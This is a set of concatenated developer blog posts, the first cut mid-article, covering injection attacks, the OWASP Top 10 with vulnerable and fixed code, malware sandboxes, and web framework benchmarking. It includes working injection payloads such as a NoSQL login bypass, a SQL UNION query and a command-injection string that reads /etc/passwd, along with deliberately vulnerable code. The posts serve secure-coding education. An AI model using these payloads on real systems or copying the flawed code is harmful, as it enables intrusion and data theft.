    username: username,
    password: password
  }, (err, user) => {
    if (user) res.send('Logged in');
    else res.send('Invalid credentials');
  });
});

He thought: “No SQL strings, no injection.

I sent this JSON as the username:


{ "username": { "$ne": null }, "password": { "$ne": null } }

MongoDB interpreter turned it into:


db.users.findOne({
  username: { $ne: null },
  password: { $ne: null }
})

That returns the first user — no password check needed. I was in.

Lesson: Any system that interprets user input as a command (SQL, JavaScript, shell, etc.) can be injected. NoSQL is no exception.

A03: Injection (The Unified Monster)

OWASP ranks Injection as #3 in 2026 (and #1 in many earlier lists). The root cause is the same:

Untrusted data is sent to an interpreter as part of a command or query.

Check this : OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities

We’ll cover the most dangerous flavours.

1. SQL Injection — The Old King

Still #1 in bug bounties.
Vulnerable Code (Python/Flask)


@app.route('/user')
def get_user():
    user_id = request.args.get('id')
    query = f"SELECT * FROM users WHERE id = {user_id}"   # 😱
    cursor.execute(query)
    return cursor.fetchone()

Input: ?id=1 UNION SELECT username, password FROM admins --
The Fix — Parameterized Queries


@app.route('/user')
def get_user():
    user_id = request.args.get('id')
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    # Or use an ORM (correctly!)

Tool: sqlmap — automated detection and exploitation.

2. NoSQL Injection — The Modern Trap

MongoDB, CouchDB, etc. are vulnerable when you pass user input directly into query objects.

Vulnerable (Node.js + Mongoose)

User.findOne({ email: req.body.email, password: req.body.password });

Attackers send:

{ "email": { "$regex": ".*" }, "password": { "$ne": "" } }

That matches any email and a non‑empty password → login bypass.

Even worse: $where clauses execute JavaScript.

// Vulnerable
User.find({ $where: `this.name == '${req.body.name}'` });
// Attacker: 'a'; sleep(5000); //

The Fix — Schema Validation + Type Casting


// Use Mongoose schemas with required types
const userSchema = new Schema({
  email: { type: String, required: true },
  password: { type: String, required: true }
});

// And sanitize operators
function sanitizeNoSQL(obj) {
  if (typeof obj !== 'object') return obj;
  const unsafe = ['$where', '$ne', '$gt', '$regex', '$expr'];
  for (let key of unsafe) if (key in obj) delete obj[key];
  return obj;
}

// Then use it
const query = sanitizeNoSQL(req.body);
User.findOne(query);

Better yet: use an allowlist for fields and reject any input with $ or { operators.

Tool: NoSQLMap — automated NoSQL injection

3. ORM Injection — Yes, Even SQLAlchemy

ORMs (SQLAlchemy, Hibernate, Entity Framework) protect you if you use them correctly. But as soon as you write raw SQL or use unsafe methods, you’re back to square one.

Vulnerable SQLAlchemy (Python)

from sqlalchemy import text

@app.route('/search')
def search():
    keyword = request.args.get('q')
    query = text(f"SELECT * FROM products WHERE name LIKE '%{keyword}%'")
    results = db.session.execute(query)
    # Ouch — raw string concatenation inside text()

Attacker: ?q=' OR '1'='1' UNION SELECT ...

Fix — Use ORM Parameters or Bind Variables

# Method 1: ORM safe filtering
from sqlalchemy import or_
products = Product.query.filter(Product.name.ilike(f"%{keyword}%")).all()

# Method 2: If you must use raw SQL, use bind params
query = text("SELECT * FROM products WHERE name LIKE :kw")
results = db.session.execute(query, {"kw": f"%{keyword}%"})

Rule: Never use text() with f‑strings or string concatenation. Always pass parameters as a dict or tuple.

Tool: SQLAlchemy’s own logging — watch for generated queries with suspicious input.

4. Command Injection — Full Server Takeover

When your app calls operating system commands with user input, the attacker can run any command.
Vulnerable (Python)

import subprocess

@app.route('/ping')
def ping():
    ip = request.args.get('ip')
    result = subprocess.check_output(f"ping -c 4 {ip}", shell=True)
    return result

Attacker: ?ip=8.8.8.8; cat /etc/passwd
Fix — Use Native APIs, Avoid Shell=True

import shlex

@app.route('/ping')
def ping():
    ip = request.args.get('ip')
    # Allowlist allowed characters
    if not re.match(r'^[\d\.]+$', ip):
        abort(400)
    # Use list form + no shell
    result = subprocess.check_output(["ping", "-c", "4", ip])
    return result

Even better: Don’t call system commands at all — use native network libraries (e.g., ping3 for Python).

Tool: Commix — automated command injection.

Injection Prevention — A Unified Checklist

Injection Type	Prevention Strategy
SQL	Parameterized queries / prepared statements (never concatenation).
NoSQL	Validate input types, reject operator keys (`$`), use schema validation.
ORM	Avoid raw SQL; use ORM’s safe methods; parameterize any `text()` call.
Command	Use native APIs, avoid `shell=True`, allowlist inputs.
LDAP	Escape special characters (`*`, `(`, `)`, `\`).
XML/XPath	Disable external entities, use hard‑coded XPaths.

Universal Rules

Treat all user input as dangerous.
Use allowlists (e.g., re.match(r'^[a-z0-9]+$', input)).
Prefer safe APIs — ORMs, parameterised queries, native libraries.
Never trust “I don’t use SQL” — injection is about interpreters, not just SQL.

Tools to Find Injection Flaws Automatically

Run these before an attacker does:

sqlmap — SQL injection detection & exploitation.
NoSQLMap — NoSQL injection (MongoDB, CouchDB).
Commix — Command injection.
Burp Suite Scanner — All kinds of injection (paid but worth it).
OWASP ZAP — Free, includes injection tests.
Semgrep or CodeQL — Find injection patterns in your source code.

Hands‑On Practice (Don’t Just Read)

You learn injection by doing it (safely).

PortSwigger NoSQL injection labs
OWASP Juice Shop — has both SQL and NoSQL challenges.
TryHackMe – Injection room

Remember my sandbox advice from last article: Run all vulnerable apps inside isolated VMs or Docker containers. Even your own testing can go wrong.

Want More?

If you enjoyed this deep dive into injection attacks, check out:

OWASP Top 10 for Developers (2026 Edition) — full list with fixes.
What Is a Sandbox? How to Safely Run Any Unknown .exe — dynamic malware analysis.

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Sun, 10 May 2026 09:27:12 +0000

Hi, Mahdi Shamlou here. In my last article (What Is a Sandbox? How to Safely Run and Analyze Any Unknown .exe), you learned how to safely detonate an unknown .exe in a sandbox. That’s reactive security — analyzing malware after it exists.

But what if you could prevent most attacks before they ever reach your server? That’s where OWASP comes in.

In this guide, I’ll walk you through the OWASP Top 10 for 2026 — but not as a boring list. I’ll show you:

What each vulnerability actually means for your code.
A real vulnerable code snippet (and how to fix it).
Which tools you can use to find these bugs automatically.

By the end, you’ll have a security checklist you can apply to your next web app.

What Is OWASP? (And Why You, as a Developer, Should Care)

OWASP = Open Web Application Security Project. It’s a non‑profit community that produces free, world‑class security guidance.

The most famous is the OWASP Top 10 — a ranked list of the most critical web security risks. It’s updated every few years to reflect real‑world attack data. The 2026 edition (which builds on the 2021 version) remains the must‑know list for any web developer.

Why should you care? Because:

75% of web apps have at least one Top 10 vulnerability.
Fixing a bug in production costs 30x more than catching it in coding.
Security is now a shared responsibility — developers can’t just throw code over the wall to a “security team”.

So let’s dive in. I’ll present each risk, show you a bad code example, and then give you the secure version.

A01: Broken Access Control

What it is: Users can see or edit data they’re not supposed to. For example, a normal user changing their ?user_id=123 to ?user_id=124 and seeing someone else’s profile.

Vulnerable code (Flask):

@app.route('/profile')
def profile():
    user_id = request.args.get('user_id')
    # No check if logged-in user owns this ID
    user = db.query(f"SELECT * FROM users WHERE id = {user_id}")
    return render_template('profile.html', user=user)

Fix — enforce server‑side access control:

@app.route('/profile')
@login_required
def profile():
    # Only allow access to the currently logged-in user's own profile
    user_id = current_user.id   # from session, not from request
    user = db.query("SELECT * FROM users WHERE id = %s", (user_id,))
    return render_template('profile.html', user=user)

Tool to catch this: OWASP ZAP or Burp Suite — try changing ID parameters manually.

A02: Cryptographic Failures

What it is: Sensitive data (passwords, credit cards) transmitted or stored without proper encryption. That includes using old algorithms like MD5 or SHA‑1.

Vulnerable code:

# Storing password in plain text? Ouch.
user.password = request.form['password']

# Or using MD5 (crackable in seconds)
import hashlib
hashlib.md5(password.encode()).hexdigest()

Fix — use strong, adaptive hashing (bcrypt, Argon2):

from bcrypt import hashpw, gensalt

hashed = hashpw(request.form['password'].encode(), gensalt())
# Store 'hashed' in DB.
# Also enforce HTTPS everywhere – use HSTS header.

Tool: sslscan for HTTPS config, hashcat to test weak password hashes.

A03: Injection (SQL, NoSQL, OS Command, LDAP…)

What it is: Attacker sends malicious input that gets interpreted as a command. Classic example: ' OR '1'='1 logging you in without a password.

Vulnerable code (string concatenation):

username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE name = '{username}' AND pass = '{password}'"
# Input: username = "admin' --" -> bypasses password check!

Fix — use parameterized queries / ORM:

cursor.execute(
    "SELECT * FROM users WHERE name = %s AND pass = %s",
    (username, password)
)

# Or use an ORM like SQLAlchemy which escapes automatically.

Tool: sqlmap (automated detection) or Burp Scanner.

A04: Insecure Design

What it is: Flaws in the architecture or workflow — not a single line of code, but a design that makes security impossible. Example: a password reset that sends the new password by email (in plain text).

Vulnerable design:
“Forgot password” emails your current password in plain text. That means the system stored it reversibly — huge risk.

Fix — design with security in mind:

Never store passwords reversibly.
Password reset should send a time‑limited token (not a new password).
Use threat modeling (e.g., STRIDE) before writing code.

Tool: OWASP Threat Dragon for threat modeling diagrams.

A05: Security Misconfiguration

What it is: Default passwords, verbose error messages, unnecessary features enabled, missing security headers.

Vulnerable example (Flask debug mode in production):

app.run(debug=True)   # Shows full stack traces to attackers – exposes code!

Fix — secure configuration:

# Use environment variables
import os
debug_mode = os.getenv('FLASK_DEBUG', 'False').lower() == 'true'
app.run(debug=debug_mode)

And add security headers:

@app.after_request
def add_security_headers(resp):
    resp.headers['X-Content-Type-Options'] = 'nosniff'
    resp.headers['X-Frame-Options'] = 'DENY'
    resp.headers['Strict-Transport-Security'] = 'max-age=31536000'
    return resp

Tool: Nmap scripts for misconfig, OWASP ZAP passive scanner.

A06: Vulnerable and Outdated Components

What it is: You use a library like lodash or Flask with a known CVE (Common Vulnerability). Attackers scan for these.
Download the Medium app

Vulnerable scenario:
Your requirements.txt has Flask==1.0.2 (released 2018 – many security fixes since). An attacker finds a public exploit for older Flask.

Fix — keep dependencies updated:

Run pip list --outdated regularly.
Use Dependabot (GitHub) or Snyk to auto‑open PRs.
Before installing a new package, check npm audit or safety check.

Tool: OWASP Dependency-Check (free, scans for known vulnerabilities).

A07: Identification and Authentication Failures

What it is: Weak session management, no MFA, credential stuffing vulnerabilities, or session IDs in URLs.

Vulnerable code (session in URL):

# http://example.com/profile?session_id=abc123
# Attacker steals this link – now they're logged in as you.

Fix — use framework session management (secure flags):

app.config.update(
    SESSION_COOKIE_SECURE=True,   # only over HTTPS
    SESSION_COOKIE_HTTPONLY=True, # no JavaScript access
    SESSION_COOKIE_SAMESITE='Lax'
)
# Never put session in URL.

Also enforce rate limiting on login attempts and offer MFA.

Tool: hydra or ffuf for brute‑force testing.

A08: Software and Data Integrity Failures

What it is: You trust software or data from an untrusted source without verifying integrity. For example, downloading a dependency over HTTP (not HTTPS) or deserializing untrusted data.

Vulnerable example (pickle deserialization in Python):

import pickle
data = request.form['user_data']
obj = pickle.loads(data)  # Can execute arbitrary code!

Fix — avoid pickle on untrusted input, use JSON with schema validation:


import json
try:
    obj = json.loads(data)
    if not isinstance(obj, dict) or 'name' not in obj:
        raise ValueError
except (json.JSONDecodeError, ValueError):
    abort(400)

And pin dependency hashes (using pipenv or poetry) to prevent supply chain attacks.

Tool: in-toto or Sigstore for integrity verification.

A09: Security Logging and Monitoring Failures

What it is: You don’t log attacks, or you log sensitive data, or you never monitor logs. So you only discover a breach months later (if ever).

Vulnerable — no logging:

@app.route('/login')
def login():
    # user logs in – but no record of failed attempts
    ...

Fix — log security‑relevant events:

import logging
logging.basicConfig(level=logging.INFO)

@app.route('/login')
def login():
    if login_failed:
        logging.warning(f"Failed login attempt for {username} from {request.remote_addr}")
    else:
        logging.info(f"Successful login for {username}")

Don’t log passwords or session tokens. Send logs to a central system (ELK, Splunk) and set up alerts for multiple failures.

Tool: OWASP AppSensor — defines detection points.

A10: Server‑Side Request Forgery (SSRF)

What it is: Attacker makes your server send requests to internal systems (like http://localhost:8080/admin or AWS metadata endpoint 169.254.169.254).

Vulnerable code (fetching a user‑supplied URL):

import requests
url = request.args.get('webhook')
response = requests.get(url)   # Can hit internal services!

Fix — allowlist allowed domains / IPs:

from urllib.parse import urlparse

allowed_hosts = ['api.example.com', 'trusted-service.com']
parsed = urlparse(url)
if parsed.hostname not in allowed_hosts:
    abort(400)
response = requests.get(url, timeout=5)

Better: use a separate internal firewall and disable HTTP redirects.

Tool: SSRFmap (automated exploitation tool).

How to Test Yourself (Hands‑On)

Reading about vulnerabilities isn’t enough — you need to practice.

I recommend these free, safe environments:

PortSwigger Web Security Academy — free labs for every OWASP Top 10 category.
OWASP Juice Shop — an intentionally vulnerable web app you can run locally (in Docker) and hack.
TryHackMe or HackTheBox — beginner rooms for web security.

And remember the sandbox principle from my last article: always run unknown code or vulnerable apps inside isolated VMs (VirtualBox, VMware) or Docker containers. That way, even if you intentionally exploit a vulnerability, your main machine stays safe.

Want More?

If you enjoyed this practical security guide, you might also like:

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

What Is a Sandbox? How to Safely Run and Analyze Any Unknown .exe | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Sun, 10 May 2026 09:00:43 +0000

Hi, Mahdi Shamlou here. In this guide, I explain how malware analysis sandboxes work — from isolating an unknown .exe in a virtual machine to hooking Windows APIs and generating a behavior report. I also cover open‑source tools like Cuckoo and CAPE so you can safely detonate suspicious files without risking your real PC.

You just downloaded a free PDF converter from a random forum. It’s an .exe file. The website looked legit, but... you're not 100% sure. You want to see what this program actually does when it runs. But running it directly on your own PC could cost you everything.

What you need is a sandbox.

In this article, I’ll explain what a sandbox is, why you need one, and exactly how it works behind the scenes to analyze an unknown executable and give you a full report.

What Exactly Is a Sandbox?

In cybersecurity, a sandbox is a security mechanism for separating running programs. It is often used to execute untested code, or untrusted programs from unverified third-parties, suppliers, untrusted users and untrusted websites.

Think of it as a controlled, isolated environment where you can execute a suspicious file or piece of code without risking harm to your real operating system or personal files. It’s your digital quarantine zone where you can safely “detonate” a suspicious program to see what it does.

Where Do We Use a Sandbox?

The primary use case, and the one we’re focusing on today, is malware analysis:

To run and test an unknown .exe file: When you have a potentially malicious executable, you don’t want to run it on your main machine. A sandbox provides the safe, isolated space to execute it, observe its behavior, and determine if it’s harmful.

Security professionals use sandboxes to analyze suspicious objects in a Virtual Machine (VM) with a fully-featured operating system, detecting the object’s malicious activity by analyzing its behavior. This is known as dynamic analysis: instead of just looking at the file’s code (static analysis), you run the code and monitor its actions in real-time.

How a Malware Analysis Sandbox Works

The process for analyzing an unknown .exe generally follows this straightforward workflow:

1. You Submit the Input File. You, the user, give the sandbox the suspicious .exe file as the input.

2. The Sandbox Isolates the File in a Virtual Machine (VM). The sandbox system moves the file into a secure, isolated virtual machine environment. This is the “blast-proof chamber” where the analysis will take place. For each analysis, a fresh and isolated virtual machine can be launched to ensure nothing from a previous test contaminates the current one.

3. The Analysis Begins (The File Is Executed). The sandbox automatically runs (or detonates) the suspicious file inside this safe environment.

4. The Sandbox Analyzes Its Behavior. While the unknown executable runs, the sandbox meticulously monitors all of its system-level activity. It’s watching for:

File System Changes: What files or folders does it create, modify, or delete?
Process Creations: Does it try to launch other hidden processes?
Registry Modifications (on Windows): Does it change critical system settings for persistence?
Network Traffic: Does it try to “phone home” to a command-and-control server?

You Get the Results. After the analysis finishes, the sandbox compiles everything it observed into a detailed report for you. You can then review the report to determine if the file is malicious and understand exactly what it would have tried to do on your real system.

How Sandboxes Hook APIs

So, how does a sandbox actually see everything a program is doing? This is the technical secret.

When a running program wants to perform any action on your computer — like opening a file (CreateFile), sending data over the network, or creating a new process it makes a request to the Windows API. A malware analysis sandbox intercepts these requests using a technique called API hooking.

It works like this: the sandbox injects a small piece of code (a “hook”) into the program’s memory. This hook effectively reroutes the program’s API calls. When the suspicious program calls CreateFile to open a file, it doesn't go directly to the operating system. Instead, it is intercepted and redirected to the sandbox's own monitoring function. The sandbox logs all the details (e.g., a request to open "C:\Users\Admin\Documents\passwords.txt") and then, for true stealth analysis, passes the original call along to the real operating system so the malware's execution is not blocked. This allows the sandbox to see literally every single interaction the malware has with the operating system.

Open-Source Sandboxes: Cuckoo and CAPE

If you want to try this yourself, open-source tools are the way to go. Two of the most powerful and well-known platforms are Cuckoo and CAPE.

Cuckoo Sandbox: This is the original, open-source automated malware analysis system. It safely executes and analyzes potentially malicious files in an isolated virtual machine and provides detailed reports on their behavior. It’s the foundation for many modern sandboxes.

CAPE Sandbox (CAPEv2): CAPE (Config And Payload Extraction) began as a powerful fork of Cuckoo and is now the active, maintained successor to the original project. Its main goals are to add automated malware unpacking and configuration extraction. This is crucial because modern malware often uses “packers” to compress or encrypt its malicious code, making it harder to analyze. CAPE automates the process of unpacking it to see its real behavior.

CAPE is the best choice today because, unlike the original Cuckoo (which is no longer actively maintained), CAPE continues to improve and is the only remaining, actively supported open-source sandbox based on the original Cuckoo codebase.

Final Thoughts

A sandbox gives you a safe space to answer the ultimate question: “What will this .exe do if I run it?" It's an indispensable tool for anyone who downloads software from the internet. And with powerful, open-source platforms like CAPE, you have enterprise-grade malware analysis power available right on your own machine for free.

If you’d like to get your hands dirty with Cuckoo Sandbox (the original, foundational project), check out this practical walkthrough:

🔗 Malware Analysis Using Cuckoo Sandbox — Step by Step Guide

hat article covers installation, configuration, and running your first analysis.

Have you ever run an unknown .exe in a sandbox? What tool did you use — Cuckoo, CAPE, or something else? Let me know in the comments.

Want More?

If you enjoyed this deep dive, you might like my other article:

If you’re interested in real-world, isolated benchmarking and want to see how different web frameworks (FastAPI, Flask, etc.) perform under controlled conditions, you might like this practical guide:

How to Benchmark Web Frameworks in a Fair, Isolated Way | Mahdi Shamlou

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram:
https://telegram.me/mahdi0shamlou
📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

How to Benchmark Web Frameworks in a Fair, Isolated Way | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Sat, 21 Feb 2026 20:39:44 +0000

Hey everyone! Mahdi Shamlou here 👋

I’ve seen many posts online comparing web frameworks, but most of them are either biased, outdated, or hard to reproduce.

So I wanted to share a practical way to benchmark any web framework, keeping everything isolated, fair, and reproducible.

We’ll use Docker for isolation, k6 for load testing, and Python frameworks — FastAPI and Flask — as simple examples. But the approach works for Node.js, Go, Java, Rust, or anything else.

Why Isolated Benchmarking Matters

Benchmarking web frameworks can be tricky. Many factors affect results:

CPU & memory availability
Number of workers / threads
Background processes
Routing, logging, database, I/O

To make a fair comparison, you need:

Docker containers with fixed CPU & memory
Identical routes or endpoints in each framework
Controlled load tests using k6 or similar tools
Results saved for later analysis

Step 1 — Project Structure

mkdir web_framework_benchmarks
cd web_framework_benchmarks
mkdir framework1 framework2 k6-tests results

You can replace framework1 and framework2 with any frameworks you want to compare.

Step 2 — Sample API Route

For demonstration, we use a simple /hello endpoint.

Python Example (FastAPI):

from fastapi import FastAPI
app = FastAPI()

@app.get("/hello")
def hello():
    return {"message": "hello world"}

Python Example (Flask):

from flask import Flask, jsonify
app = Flask(__name__)

@app.route("/hello")
def hello():
    return jsonify({"message": "hello world"})

You can do the same in Node.js, Go, or Java, just keep the endpoint functionally identical.

Optional: add a sleep route to simulate I/O/concurrent load.

Step 3 — Dockerize Your Frameworks

Here’s a funny story:

At first, I ran FastAPI with just uvicorn… and I thought “Yeah, this will do.” But then I realized 🤦‍♂️

If I run Flask with Gunicorn and FastAPI with Uvicorn alone, it’s like comparing a Ferrari to a bicycle… not fair! just fun!

So I fixed it: FastAPI + Gunicorn + UvicornWorker and 1 worker, exactly like Flask.

FastAPI Dockerfile (Fair Version):

FROM python:3.11-slim
WORKDIR /app
COPY . .
RUN pip install fastapi uvicorn gunicorn
CMD ["gunicorn", "-k", "uvicorn.workers.UvicornWorker", "-w", "1", "-b", "0.0.0.0:8000", "app:app"]

Flask Dockerfile:

FROM python:3.11-slim
WORKDIR /app
COPY . .
RUN pip install flask gunicorn
CMD ["gunicorn", "-w", "1", "-b", "0.0.0.0:8000", "app:app"]

✅ Now both containers have the same worker count, same CPU/memory limits — fair and square!

Step 4 — k6 Load Testing

k6 scripts for each framework:

import http from "k6/http";
import { sleep } from "k6";

export const options = {
  stages: [
    { duration: "30s", target: 50 },   // ramp-up
    { duration: "1m", target: 200 },   // hold load
    { duration: "30s", target: 0 },    // ramp-down
  ],
  thresholds: {
    "http_req_duration": ["p(95)<200"], // 95% of requests should be <200ms
  },
};

export default function () {
  http.get("http://localhost:8001/hello");
  sleep(1);
}

Run and save results:

mkdir -p results
k6 run --out json=results/framework1.json k6-tests/framework1.js
k6 run --out json=results/framework2.json k6-tests/framework2.js

Works for any language/framework, not just Python.

Step 5 — Analyze Metrics

With Python + matplotlib (or any plotting tool):

Average latency
P95 latency
Requests/sec
Failure rate

import json, numpy as np, matplotlib.pyplot as plt

files = {"Framework1": "results/framework1.json", "Framework2": "results/framework2.json"}
summary = {}

for name, file in files.items():
    durations, fails, total = [], 0, 0
    with open(file) as f:
        for line in f:
            obj = json.loads(line)
            if obj.get("type")=="Point":
                if obj.get("metric")=="http_req_duration": durations.append(obj["data"]["value"])
                if obj.get("metric")=="http_req_failed": fails+=obj["data"]["value"]; total+=1
    if durations:
        summary[name] = {"avg": np.mean(durations), "p95": np.percentile(durations,95), "requests": len(durations), "fail_rate": fails/total if total else 0}

print(summary)
plt.bar(summary.keys(), [summary[n]["avg"] for n in summary])
plt.title("Average Response Time (ms)")
plt.show()

✅ Key Lessons

Docker isolation → makes everything reproducible
Worker count & CPU limits → must match
Simple routes may make Flask look faster, don’t be fooled
Async/I/O-heavy routes → FastAPI (or other async frameworks) shine
Always benchmark your actual workload, not just tiny examples

🔹TL;DR

Pick frameworks → Dockerize with identical resources
Create identical endpoints → optionally simulate I/O
Load test with k6 → save JSON results
Plot metrics → avg latency, P95, requests, fail rate
Compare fairly → draw conclusions based on your workload

📂 Try It Yourself

You can check out my repo: web_framework_benchmarks
Clone it, run the Docker + k6 setup yourself
Explore FastAPI & Flask examples
Or even contribute and add more frameworks for comparison

Want More?

If you enjoyed this deep dive, you might like my other article:

How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou

In that post, I share a clever approach that helped me solve tricky algorithm problems efficiently — a real-life example of strategy + code. 🚀

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278

📱 Telegram:
https://telegram.me/mahdi0shamlou

📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Go Web Frameworks Comparison 2026 — Top 5 Picks: Gin, Fiber, Echo, Chi & Beego | Mahdi Shamlou

Mahdi SHamlou | مهدی شاملو — Fri, 20 Feb 2026 08:19:49 +0000

Hey everyone! Mahdi Shamlou here again 👋

After my article on durable workflow engines in Python, I wanted to explore something new: modern Go web frameworks.

I searched online and honestly… most articles were old, incomplete, or clearly biased to one framework

So I decided to write a fresh, practical comparison for 2026 with real benchmark sources and real developer experience.

Let’s go 👇

Why Go for Web Development?

Go became super popular for backend APIs because it gives you:

Very high performance (compiled language)
Easy concurrency with goroutines
Simple deployment (single binary)
Great for microservices and cloud apps

Big companies like Google, Uber, Twitch, Dropbox use Go heavily for backend services.

Top 5 Go Web Frameworks in 2026

1. Gin — The Safe Default Choice

Website → https://gin-gonic.com/
GitHub → https://github.com/gin-gonic/gin

Gin is probably the most used Go framework today. If you don’t know what to pick, pick Gin.

Learning speed: 1–2 days
Benchmark idea: ~50k–70k req/sec

Strengths 👍
• Very easy to start
• Huge community and middleware
• Stable and production‑proven
• Works with standard net/http ecosystem

Trade-offs 👎
• Not opinionated → big projects can become messy
• No built‑in dependency injection
• Some people dislike its context style

2. Fiber — Express.js Style for Go

Website → https://gofiber.io/
GitHub → https://github.com/gofiber/fiber

Fiber feels like Express.js but written in Go. If you come from Node.js, you’ll love it.

Learning speed: 1 day
Benchmark idea: ~70k–110k req/sec

Strengths 👍
• Extremely fast
• Very familiar for Node developers
• Many built‑in features
• Clean and simple syntax

Trade-offs 👎
• Uses fasthttp instead of net/http
• Some Go libraries don’t work
• Debugging can be harder
• Smaller ecosystem than Gin

3. Echo — Clean and Mature Framework

Website → https://echo.labstack.com/
GitHub → https://github.com/labstack/echo

Echo is like the balanced framework. Not too small, not too big.

Learning speed: 2–3 days
Benchmark idea: ~50k–65k req/sec

Strengths 👍
• Clean structure
• Built‑in validation and middleware
• Good documentation
• Mature and stable

Trade-offs 👎
• Smaller ecosystem than Gin
• Some advanced features need extra libraries
• Not as fast as Fiber

4. Chi — Lightweight Router for Clean Architecture

Website → https://go-chi.io/
GitHub → https://github.com/go-chi/chi

Chi is not a full framework. It’s a router used in many serious microservices.

Learning speed: Few hours
Benchmark idea: ~45k–60k req/sec

Strengths 👍
• Very lightweight
• Uses standard net/http
• Perfect for clean architecture
• Easy testing

Trade-offs 👎
• Not beginner friendly
• You must build everything yourself
• No built‑in ORM or helpers
• Slower to start small projects

5. Beego — Full MVC Framework

Website → https://beego.vip/
GitHub → https://github.com/beego/beego

Beego is like Django. It has ORM, CLI, sessions, templates.

Learning speed: 1–2 weeks
Benchmark idea: ~20k–40k req/sec

Strengths 👍
• Everything built‑in
• Fast development for monolith apps
• Good CLI tools
• Built‑in ORM and templates

Trade-offs 👎
• Slower performance
• Heavy compared to Gin or Fiber
• Smaller community today
• Not ideal for microservices

Where These Benchmark Numbers Come From

The numbers above are not random. You can verify them here:

👉 https://www.techempower.com/benchmarks/

This is the most trusted benchmark in backend engineering. It runs frameworks on the same hardware and same workload.

But remember ⚠️
Real performance depends on:
• database usage
• logging
• authentication
• payload size
• TLS
• hardware

So always run your own benchmark.

My Recommendation for 2026

If you are new → Start with Gin.
If you need max performance → Try Fiber.
If you want balanced structure → Use Echo.
If you love clean architecture → Use Chi.
If you want full MVC → Use Beego.

There is no perfect framework. Pick the one that fits your team and project.

Want More?

If you enjoyed this deep dive, you might like my other article:

How I Won an Algorithm Competition at University — With a Smart Trick | Mahdi Shamlou

In that post, I share a clever approach that helped me solve tricky algorithm problems efficiently — a real-life example of strategy + code. 🚀

🔗 LinkedIn:
https://www.linkedin.com/in/mahdi-shamlou-3b52b8278

📱 Telegram:
https://telegram.me/mahdi0shamlou

📸 Instagram:
https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو